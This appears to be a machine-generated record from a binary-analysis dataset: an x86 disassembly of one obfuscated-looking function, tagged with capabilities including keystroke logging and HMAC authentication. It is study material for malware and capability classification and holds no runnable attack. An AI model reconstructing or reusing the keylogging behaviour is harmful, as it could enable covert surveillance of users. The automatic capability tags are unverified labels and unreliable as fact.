Function at 0x48dccd
Capabilities:
Accept command line arguments
Authenticate hmac
Get memory capacity
Log keystrokes
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c7103
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x26f4
call fcn.004c2a70
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x4a0b62
mov eax, dword [ebp + 0x38]
mov dword [ebp - 0x158c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x157c], eax
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x1524], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x1584], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x152c], eax
lea eax, [ebp + 0x34]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x1574], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1594], eax
mov eax, dword [ebp - 0x190c]
movzx eax, byte [eax]
test eax, eax
je 0x4a0b17
mov eax, dword [ebp - 0x1574]
mov dword [ebp - 0x14ec], eax
mov eax, dword [ebp - 0x157c]
mov dword [ebp - 0x159c], eax
mov eax, dword [ebp - 0x1584]
mov dword [ebp - 0x14e4], eax
mov eax, dword [ebp - 0x158c]
mov dword [ebp - 0x14fc], eax
mov eax, dword [ebp - 0x1594]
mov dword [ebp - 0x14f4], eax
mov eax, dword [ebp - 0x159c]
movzx eax, byte [eax]
test eax, eax
je 0x4a0a7b
push 2
lea ecx, [ebp - 0x1c00]
call fcn.0045223e
push 1
lea eax, [ebp - 0x1c00]
push eax
push 0x32ba
push 0x23ed
lea eax, [ebp - 0x308]
push eax
push 0x4f
push 1
push 0x766c
push 1
call fcn.0046cc65
add esp, 0x24
mov dword [ebp - 0x308], 0
jmp 0x48ddfb
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 1
jge 0x48de17
mov eax, dword [ebp - 0x308]
mov dword [ebp + eax*4 - 0x2f4], 0xffffffff
jmp 0x48ddee
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2f4], 1
jmp 0x48de45
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f4], 0
jl 0x48de94
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x2f4]
lea ecx, [ebp - 0x1c00]
call fcn.0045232c
cmp dword [eax], 0
je 0x48de74
jmp 0x48de94
mov byte [ebp - 0x13a], 0
movzx eax, byte [ebp - 0x13a]
test eax, eax
je 0x48de92
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AttachThreadInput]
jmp 0x48de2a
lea ecx, [ebp - 0x1c00]
call fcn.00452310
mov dword [ebp - 0x2a4], 1
mov dword [ebp - 0x6e8], 0
jmp 0x48dec2
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 2
jge 0x48dede
mov eax, dword [ebp - 0x6e8]
mov dword [ebp + eax*4 - 0x1acc], 0xfffffff9
jmp 0x48deb5
mov dword [ebp - 0x2a4], 0
jmp 0x48def7
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 1
jg 0x48e056
mov dword [ebp - 0x21c], 0x816210b9
mov byte [ebp - 0x13c], 0
push 0x6b58
push 0x37ca
push 0
push 0x6e47
lea eax, [ebp - 0x13c]
push eax
push 0
push 0x5b83
push 0x7847
push 1
push 0x5bec
push 1
call fcn.0048a09c
add esp, 0x2c
mov dword [ebp - 0x21c], 0
jmp 0x48df63
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 1
jg 0x48e051
mov dword [ebp - 0x47c], 1
push 0x19fc
push 0x7f8a
push 1
push 0x177b
push 0x3401
push 0x76e7
push 0
push 0x2f40
push 1
push 0x3cfb
push 0
push 0x63b5
push 0x1ec7
push 0x58fb
push 1
push 0x4c49
push 0x56c1
push 0x31a1
push 0x3ef7
push 0x4097
push 0x602f
call fcn.00484846
add esp, 0x54
mov dword [ebp - 0x47c], 0
jmp 0x48dff5
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 1
jg 0x48e04c
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x2a4]
mov eax, dword [ebp + eax*4 - 0x1acc]
mov dword [ebp + ecx*4 - 0x1acc], eax
mov byte [ebp - 0x13e], 0
push 0
push 0x467c
push 1
push 0xa0
push 1
push 0x35ef
push 0x234d
push 0
lea eax, [ebp - 0x13e]
push eax
call fcn.00471d96
add esp, 0x24
jmp 0x48dfe8
jmp 0x48df56
jmp 0x48deea
push 4
lea ecx, [ebp - 0x1414]
call fcn.0045223e
mov dword [ebp - 0x1e08], 0xb108
mov dword [ebp - 0x209c], 0x9ef72d4e
push 1
lea ecx, [ebp - 0x1c0c]
call fcn.0045223e
mov dword [ebp - 0xa0], 0
jmp 0x48e09d
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x48e0bf
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x1414]
call fcn.0045232c
mov dword [eax], 1
jmp 0x48e090
mov dword [ebp - 0xa0], 0
jmp 0x48e0d8
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x48e0f4
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x2534], 0xffffffff
jmp 0x48e0cb
push 0
push 0x28a0
push 1
push 0
push 1
lea eax, [ebp - 0x1c0c]
push eax
push 0x16c
push 0x4484
lea eax, [ebp - 0xa0]
push eax
call fcn.0048c3ae
add esp, 0x24
push 2
lea ecx, [ebp - 0x1414]
call fcn.0045232c
and dword [eax], 0
jmp 0x48e157
push 2
lea ecx, [ebp - 0x1414]
call fcn.0045232c
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0xc58]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xc58]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x1414]
call fcn.0045232c
cmp dword [eax], 0x1d
je 0x48e2dc
mov dword [ebp - 0x1248], 0x3d91
mov dword [ebp - 0x15a4], str.nttmbs_hksue_gtocqmun_hrxj
cmp dword [ebp - 0x1248], 0x3f9d
jle 0x48e204
and dword [ebp - 0x358], 0
jmp 0x48e1a3
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x3b0f
jge 0x48e204
and dword [ebp - 0x484], 0
jmp 0x48e1c5
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x608c
jge 0x48e202
mov eax, dword [ebp - 0x358]
xor eax, dword [ebp - 0x484]
cdq
mov dword [ebp - 0x15f0], eax
mov dword [ebp - 0x15ec], edx
push dword [ebp - 0x15ec]
push dword [ebp - 0x15f0]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x48e1b8
jmp 0x48e196
mov dword [ebp - 0x1f1c], 0xd651
and dword [ebp - 4], 0
cmp dword [ebp - 0x1248], 0x3bb8
jge 0x48e22e
mov edx, dword [ebp - 0x15a4]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x48e24a
or dword [ebp - 4], 0xffffffff
jmp 0x48e254
mov dword [ebp - 0x2238], 0x4b13281d
mov dword [ebp - 0x1f24], 0x31d26ec1
mov dword [ebp - 0x20a4], 1
mov dword [ebp - 0x1f2c], 0x63c40785
mov dword [ebp - 0x360], 0
jmp 0x48e295
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 3
jge 0x48e2b1
mov eax, dword [ebp - 0x360]
mov dword [ebp + eax*4 - 0x2654], 0xb054dbbe
jmp 0x48e288
push 0x3015
push 1
push 0
push 0x1f0c
push 0x7eea
push 1
lea eax, [ebp - 0x1c0c]
push eax
push 0
call fcn.0047f917
add esp, 0x20
jmp 0x48e133
push 0
push 0x6c0f
push 0x7abe
push 0x66de
push 0x5fca
push 1
push 0x4d8b
push 0xe3b
lea eax, [ebp - 0x1414]
push eax
push 1
push 0x2696
push 0
push 0x4623
push 1
call fcn.00473706
add esp, 0x38
lea ecx, [ebp - 0x1c0c]
call fcn.00452310
lea ecx, [ebp - 0x1414]
call fcn.00452310
push 2
lea ecx, [ebp - 0x1c54]
call fcn.0045223e
mov dword [ebp - 0x1250], 0x8de
mov dword [ebp - 0x15ac], str.mbtr_tmomipdlc_vywqs_jsnf_gdc_teogkp_fguhuvzq_pvwnld_xum_slvjn_dxn_kkqtxmlo_synpohz_ssktupjmi
cmp dword [ebp - 0x1250], 0x933
jle 0x48e40c
and dword [ebp - 0x494], 0
jmp 0x48e37a
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0x57ae
jge 0x48e40c
and dword [ebp - 0x48c], 0
jmp 0x48e3a0
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0x3b09
jge 0x48e407
and dword [ebp - 0x368], 0
jmp 0x48e3c2
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x20c3
jge 0x48e405
mov eax, dword [ebp - 0x48c]
sub eax, dword [ebp - 0x368]
or eax, dword [ebp - 0x494]
cdq
mov dword [ebp - 0x15fc], eax
mov dword [ebp - 0x15f8], edx
push dword [ebp - 0x15f8]
push dword [ebp - 0x15fc]
mov ecx, 0xab95b8
call fcn.00452129
jmp 0x48e3b5
jmp 0x48e393
jmp 0x48e36d
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1250], 0x5d7
jge 0x48e42f
mov edx, dword [ebp - 0x15ac]
mov ecx, 0xab95b8
call fcn.00453acf
jmp 0x48e44b
or dword [ebp - 4], 0xffffffff
jmp 0x48e455
mov dword [ebp - 0x48], 0
jmp 0x48e465
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x48e47b
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1258], 0xfff6
jmp 0x48e45e
mov dword [ebp - 0x48], 0
jmp 0x48e48b
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x48e4a1
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x15b4], 9
jmp 0x48e484
mov dword [ebp - 0x48], 0
jmp 0x48e4b1
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x48e4c7
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x22e0], 0
jmp 0x48e4aa
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1258]
mov dword [ebp - 0x221c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x15b4], 0
jne 0x48e4fa
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x48e4fa
and dword [ebp - 0x1260], 0
jmp 0x48e504
mov dword [ebp - 0x1260], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1258]
cmp dword [ebp - 0x1260], eax
je 0x48e525
mov dword [ebp - 0x1268], 1
jmp 0x48e52c
and dword [ebp - 0x1268], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1268]
mov dword [ebp + eax - 0x22e0], ecx
push 0x4e01
push 1
push 0
push 0x4ee2
push 0
lea eax, [ebp - 0x1c54]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push 0x287
push 0x152f
call fcn.00481768
add esp, 0x28
mov dword [ebp - 0x224], 0
jmp 0x48e58a
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 1
jge 0x48e5a6
mov eax, dword [ebp - 0x224]
mov dword [ebp + eax*4 - 0x22c], 0xffffffff
jmp 0x48e57d
mov dword [ebp - 0x2fc], 0xa4a9bdba
mov dword [ebp - 0x1f34], 0x4d8a94b2
push 2
lea ecx, [ebp - 0x1c3c]
call fcn.0045223e
mov dword [ebp - 0x15cc], 0xe7ccce1c
push 1
lea ecx, [ebp - 0x1c24]
call fcn.0045223e
mov dword [ebp - 0x20ac], 0xb827be6
push 1
lea eax, [ebp - 0x15bc]
push eax
push 0x5982
push 0x300f
push 0
lea eax, [ebp - 0x1c3c]
push eax
push 0x493f
push 1
call fcn.0046c365
add esp, 0x20
push 1
push 0x18af
push 1
push 0
lea eax, [ebp - 0x1c24]
push eax
push 0x28d7
push 0x6902
lea eax, [ebp - 0x15bc]
push eax
call fcn.00483833
add esp, 0x20
cmp dword [ebp - 0x2fc], 0
je 0x48e7e0
mov dword [ebp - 0x15d4], 0x17612d29
mov dword [ebp - 0x370], 0
jmp 0x48e66e
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 3
jge 0x48e68a
mov eax, dword [ebp - 0x370]
mov dword [ebp + eax*4 - 0x2468], 0xafe01bd9
jmp 0x48e661
mov dword [ebp - 0x2fc], 0
jmp 0x48e6a3
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 2
jg 0x48e7af
mov dword [ebp - 0x1f3c], 5
mov dword [ebp - 0x2240], 1
mov dword [ebp - 0x1f44], 0x92f644ac
mov dword [ebp - 0x20bc], 4
push 1
lea ecx, [ebp - 0x20b8]
call fcn.0045223e
mov dword [ebp - 0x1f4c], 0xfffffff8
mov dword [ebp - 0x15c4], 0
push 0x107e
push 0x42be
push 1
push 0x326a
push 0x2a34
push 0x3c1f
push 1
push 0x371f
push 1
push 0x16e4
push 0
lea eax, [ebp - 0x20b8]
push eax
push 0x4e1e
push 0x7f90
push 1
push 0xdce
push 0x29bf
push 0x66c0
push 0x2fbb
lea eax, [ebp - 0x2248]
push eax
push 0x4fcf
call fcn.00484846
add esp, 0x54
lea eax, [ebp - 0x15c4]
push eax
push 0
push 0x70b3
push 1
push 1
push 0
push 0x32c3
push 0x1a2e
call fcn.0046ffc0
add esp, 0x20
push 1
push 1
push 0x3eb2
push 0x5af6
push 1
push 1
call fcn.0046d348
add esp, 0x18
lea ecx, [ebp - 0x20b8]
call fcn.00452310
jmp 0x48e696
push 1
lea eax, [ebp - 0x15cc]
push eax
push 1
push 0x6bcd
push 0x3366
push 1
push 0
lea eax, [ebp - 0x15d4]
push eax
push 1
push 0x31e9
call fcn.0046fcba
add esp, 0x28
jmp 0x48e82e
mov dword [ebp - 0x15dc], 0
mov dword [ebp - 0x15e4], 0
lea eax, [ebp - 0x1c24]
push eax
push 1
push 1
push 0
push 1
lea eax, [ebp - 0x15dc]
push eax
push 1
push 0x4550
push 1
push 0x7488
lea eax, [ebp - 0x1c3c]
push eax
lea eax, [ebp - 0x15e4]
push eax
call fcn.0048b256
add esp, 0x30
lea ecx, [ebp - 0x1c24]
call fcn.00452310
lea ecx, [ebp - 0x1c3c]
call fcn.00452310
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x22c], 1
jmp 0x48e872
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x22c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22c], 0
jl 0x48ee48
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x22c]
lea ecx, [ebp - 0x1c54]
call fcn.0045232c
cmp dword [eax], 0
je 0x48e8a8
jmp 0x48ee48
mov dword [ebp - 0x49c], 0x8a61928c
mov dword [ebp - 0x49c], 0xfffffff5
jmp 0x48e8cb
mov eax, dword [ebp - 0x49c]
dec eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0xfffffff4
je 0x48e97f
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x378], 0
jmp 0x48e8fb
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 4
jge 0x48e917
mov eax, dword [ebp - 0x378]
mov dword [ebp + eax*4 - 0x23ec], 0xfffffffe
jmp 0x48e8ee
mov dword [ebp - 0x4a4], 0
jmp 0x48e930
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0x14
jge 0x48e97a
mov dword [ebp - 0x2ac], 3
mov dword [ebp - 0x2ac], 0
jmp 0x48e95c
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 4
jge 0x48e978
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x23ec], 1
jmp 0x48e94f
jmp 0x48e923
jmp 0x48e8be
push 0x4c48
push 0
push 1
push 1
push 0x2cbc
push 1
push 0x626
push 0
push 0x35ad
push 0x36d7
call fcn.00472b34
add esp, 0x28
mov dword [ebp - 0x7cc], 0x68876942
mov dword [ebp - 0x1f54], 0x7c39
mov dword [ebp - 0x1280], 0x14fa
mov dword [ebp - 0xc4], 0
jmp 0x48e9e1
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x48e9fd
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x139c], 1
jmp 0x48e9d4
mov dword [ebp - 0xc4], 0
jmp 0x48ea16
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x48ea32
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x2354], 0
jmp 0x48ea09
cmp dword [ebp - 0x7cc], 0xe60f
jge 0x48ea4a
mov dword [ebp - 0x1870], 1
jmp 0x48ea51
and dword [ebp - 0x1870], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x1878], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1878]
mov dword [ebp + eax - 0x139c], ecx
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x20cc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x139c], 0
jne 0x48ea98
mov dword [ebp - 0x1270], 1
jmp 0x48ea9f
and dword [ebp - 0x1270], 0
cmp dword [ebp - 0x1270], 0xfffc
jne 0x48eac4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x139c], 0
jne 0x48eac4
and dword [ebp - 0x1278], 0
jmp 0x48eace
mov dword [ebp - 0x1278], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x139c]
cmp dword [ebp - 0x1278], eax
je 0x48eaec
mov eax, 0x47d2
test eax, eax
je 0x48eb4e
mov dword [ebp - 0x1f5c], 0x1af7
mov dword [ebp - 0x226c], 0xfe57
mov dword [ebp - 0x1f64], 0x32d683a7
mov dword [ebp - 0x380], 0
jmp 0x48eb23
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 4
jge 0x48eb3f
mov eax, dword [ebp - 0x380]
mov dword [ebp + eax*4 - 0x26f4], 3
jmp 0x48eb16
mov eax, dword [ebp - 0x1280]
inc eax
mov dword [ebp - 0x1280], eax
jmp 0x48eb97
mov byte [ebp - 0x140], 0
push 0x3e62
push 0x5234
push 1
push 1
push 0x3e74
push 0x155d
push 0x4ddd
lea eax, [ebp - 0x140]
push eax
push 0x77c5
push 0x2db5
push 0x7f67
push 1
push 0x545b
call fcn.0046d6dc
add esp, 0x34
mov byte [ebp - 0x142], 0
movzx eax, byte [ebp - 0x142]
test eax, eax
je 0x48ebb1
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov byte [ebp - 0x144], 0
mov dword [ebp - 0x12fc], 0xc5378470
mov dword [ebp - 0x1b74], 0x11c3fc02
mov dword [ebp - 0x1b70], 0x11c3fc02
mov dword [ebp - 0x1b6c], 0x11c3fc02
mov dword [ebp - 0x1b68], 0x11c3fc02
lea ecx, [ebp - 0x7c1]
call fcn.0045233b
push eax
lea eax, [ebp - 0x1b64]
push eax
lea eax, [ebp - 0x1b74]
push eax
lea ecx, [ebp - 0x240c]
call fcn.0045233e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x20d8]
call fcn.004522ea
push 2
lea ecx, [ebp - 0x20c8]
call fcn.0045223e
mov dword [ebp - 0x234], 0
jmp 0x48ec45
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x48ec61
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x838], 0xfffa
jmp 0x48ec38
push 1
push 0x2aae
lea eax, [ebp - 0x20c8]
push eax
lea eax, [ebp - 0x234]
push eax
push 1
push 1
call fcn.0046dc2f
add esp, 0x18
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x838]
cmp dword [ebp + eax - 0x838], ecx
je 0x48edaf
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x838], 0
je 0x48ed61
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
mov dword [ebp - 0x20dc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x838], 4
jge 0x48ecee
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x838], 0
jne 0x48ecee
and dword [ebp - 0x1288], 0
jmp 0x48ecf8
mov dword [ebp - 0x1288], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x838]
cmp dword [ebp - 0x1288], eax
je 0x48ed19
mov dword [ebp - 0x1290], 1
jmp 0x48ed20
and dword [ebp - 0x1290], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
cmp dword [ebp - 0x1290], eax
jle 0x48ed40
mov dword [ebp - 0x12dc], 1
jmp 0x48ed47
and dword [ebp - 0x12dc], 0
mov eax, dword [ebp - 0x12fc]
cmp dword [ebp - 0x12dc], eax
jl 0x48ed61
mov dword [ebp - 0x12e4], 1
jmp 0x48ed68
and dword [ebp - 0x12e4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
cmp dword [ebp - 0x12e4], eax
jle 0x48ed88
mov dword [ebp - 0x12ec], 1
jmp 0x48ed8f
and dword [ebp - 0x12ec], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x838]
cmp eax, dword [ebp - 0x12ec]
jl 0x48edaf
mov dword [ebp - 0x12f4], 1
jmp 0x48edb6
and dword [ebp - 0x12f4], 0
mov eax, dword [ebp - 0x12f4]
sub eax, dword [ebp - 0x12fc]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x838]
jl 0x48eddc
mov dword [ebp - 0x1304], 1
jmp 0x48ede3
and dword [ebp - 0x1304], 0
push 0
lea ecx, [ebp - 0x20d8]
call fcn.0045232c
mov ecx, dword [ebp - 0x1304]
mov dword [eax], ecx
lea ecx, [ebp - 0x20c8]
call fcn.00452310
lea ecx, [ebp - 0x20d8]
call fcn.00452310
push 0x1769
push 0x394b
push 1
push 0x404
push 1
push 0x1eaf
push 0
lea eax, [ebp - 0x144]
push eax
push 1
push 0x594a
push 0x5595
call fcn.004762ce
add esp, 0x2c
jmp 0x48e857
lea ecx, [ebp - 0x1c54]
call fcn.00452310
push 4
lea ecx, [ebp - 0x20e8]
call fcn.0045223e
mov dword [ebp - 0x4ac], 0x66fe7d8a
mov dword [ebp - 0x1880], 0xb3b9
lea eax, [ebp - 0x20e8]
push eax
push 0x2353
push 1
push 1
push 0x5516
push 0
push 0x22aa
push 0x6f33
push 0x2818
push 0
push 0x759
lea eax, [ebp - 0x1f6c]
push eax
push 0x1a01
push 1
call fcn.0047d582
add esp, 0x38
mov dword [ebp - 0x4ac], 3
jmp 0x48eed0
mov eax, dword [ebp - 0x4ac]
dec eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0
jl 0x48ef2e
push 1
push 0
push 0x4ab4
push 1
push 0x26ad
lea eax, [ebp - 0x1880]
push eax
push 1
call fcn.0047fce0
add esp, 0x1c
push 0x1ae2
push 0
push 0
push 1
push 1
push 0xb97
push 1
push 0x3ff5
push 1
push 0x2141
push 0x364c
push 0x5cce
call fcn.0048b256
add esp, 0x30
jmp 0x48eec3
lea ecx, [ebp - 0x20e8]
call fcn.00452310
mov byte [ebp - 0x41], 0
mov dword [ebp - 0x1898], 0x99cf
mov dword [ebp - 0x1888], 0x229edca8
mov dword [ebp - 0x18a0], 0xffffffff
mov dword [ebp - 0x1890], 1
mov dword [ebp - 0x222c], 0x270f9e3
mov dword [ebp - 0x1f74], 0xa05d7627
mov dword [ebp - 0x20ec], 0
mov dword [ebp - 0x1f7c], 0x5fba2522
push 2
lea ecx, [ebp - 0x20f8]
call fcn.0045223e
mov dword [ebp - 0x18a8], 0
mov dword [ebp - 0x2e4], 0
jmp 0x48efbd
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 1
jge 0x48efd9
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0x22d0], 0xd96711db
jmp 0x48efb0
push 0x79e8
lea eax, [ebp - 0x20f8]
push eax
push 0x705b
push 0x7775
push 1
push 0x7768
push 1
push 0
push 1
lea eax, [ebp - 0x2e4]
push eax
push 1
push 0x62f0
push 0x518b
push 0x1eae
push 7
call fcn.0048c64e
add esp, 0x3c
push 1
lea eax, [ebp - 0x1888]
push eax
lea eax, [ebp - 0x1890]
push eax
lea eax, [ebp - 0x1898]
push eax
push 0x4e62
push 1
push 0xc71
lea eax, [ebp - 0x18a0]
push eax
push 0x2062
push 1
push 0x7bb5
push 0
push 0x7d27
push 1
call fcn.00473706
add esp, 0x38
push 1
push 0
push 0x265a
push 0x4e9c
lea eax, [ebp - 0x18a8]
push eax
push 1
push 1
call fcn.0048aa1b
add esp, 0x1c
lea ecx, [ebp - 0x20f8]
call fcn.00452310
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x390], 0xb445acee
mov dword [ebp - 0xe4c], 0xffffffff
mov dword [ebp - 0x388], 0
jmp 0x48f0c8
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 1
jge 0x48f0e1
mov eax, dword [ebp - 0x388]
mov dword [ebp + eax*4 - 0x20], 0x951ad386
jmp 0x48f0bb
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x20]
cmp dword [ebp + eax - 0x20], ecx
jl 0x48f103
mov dword [ebp - 0x130c], 1
jmp 0x48f10a
and dword [ebp - 0x130c], 0
mov eax, dword [ebp - 0x130c]
mov dword [ebp - 0x1d8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 0
je 0x48f1d4
xor eax, eax
je 0x48f1d4
mov dword [ebp - 0x390], 0xfffffff6
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x390], eax
jne 0x48f153
mov dword [ebp - 0x1314], 1
jmp 0x48f15a
and dword [ebp - 0x1314], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
cmp dword [ebp - 0x1314], eax
je 0x48f181
mov eax, 0x320f
test eax, eax
je 0x48f181
mov dword [ebp - 0x131c], 1
jmp 0x48f188
and dword [ebp - 0x131c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
cmp dword [ebp - 0x131c], eax
jge 0x48f1a6
mov dword [ebp - 0x18b0], 1
jmp 0x48f1ad
and dword [ebp - 0x18b0], 0
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x1f84], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
add eax, 5
je 0x48f1d4
mov dword [ebp - 0x1324], 1
jmp 0x48f1db
and dword [ebp - 0x1324], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x1324], eax
jle 0x48f1f5
mov dword [ebp - 0x18b8], 1
jmp 0x48f1fc
and dword [ebp - 0x18b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
mov dword [ebp - 0x20fc], eax
cmp dword [ebp - 0x1d8], 0xc541
jge 0x48f36f
mov dword [ebp - 0x4b4], 0x6a81
mov dword [ebp - 0x1334], 0
mov byte [ebp - 0x1c6], 0
push 0x3710
push 0
push 0x2701
push 1
push 0xae5
push 1
push 0x15bb
lea eax, [ebp - 0x1c6]
push eax
push 0
call fcn.00479191
add esp, 0x24
cmp dword [ebp - 0x1d8], 0
jne 0x48f2b2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 0
je 0x48f28d
cmp dword [ebp - 0x4b4], 0
je 0x48f28d
mov dword [ebp - 0x132c], 1
jmp 0x48f294
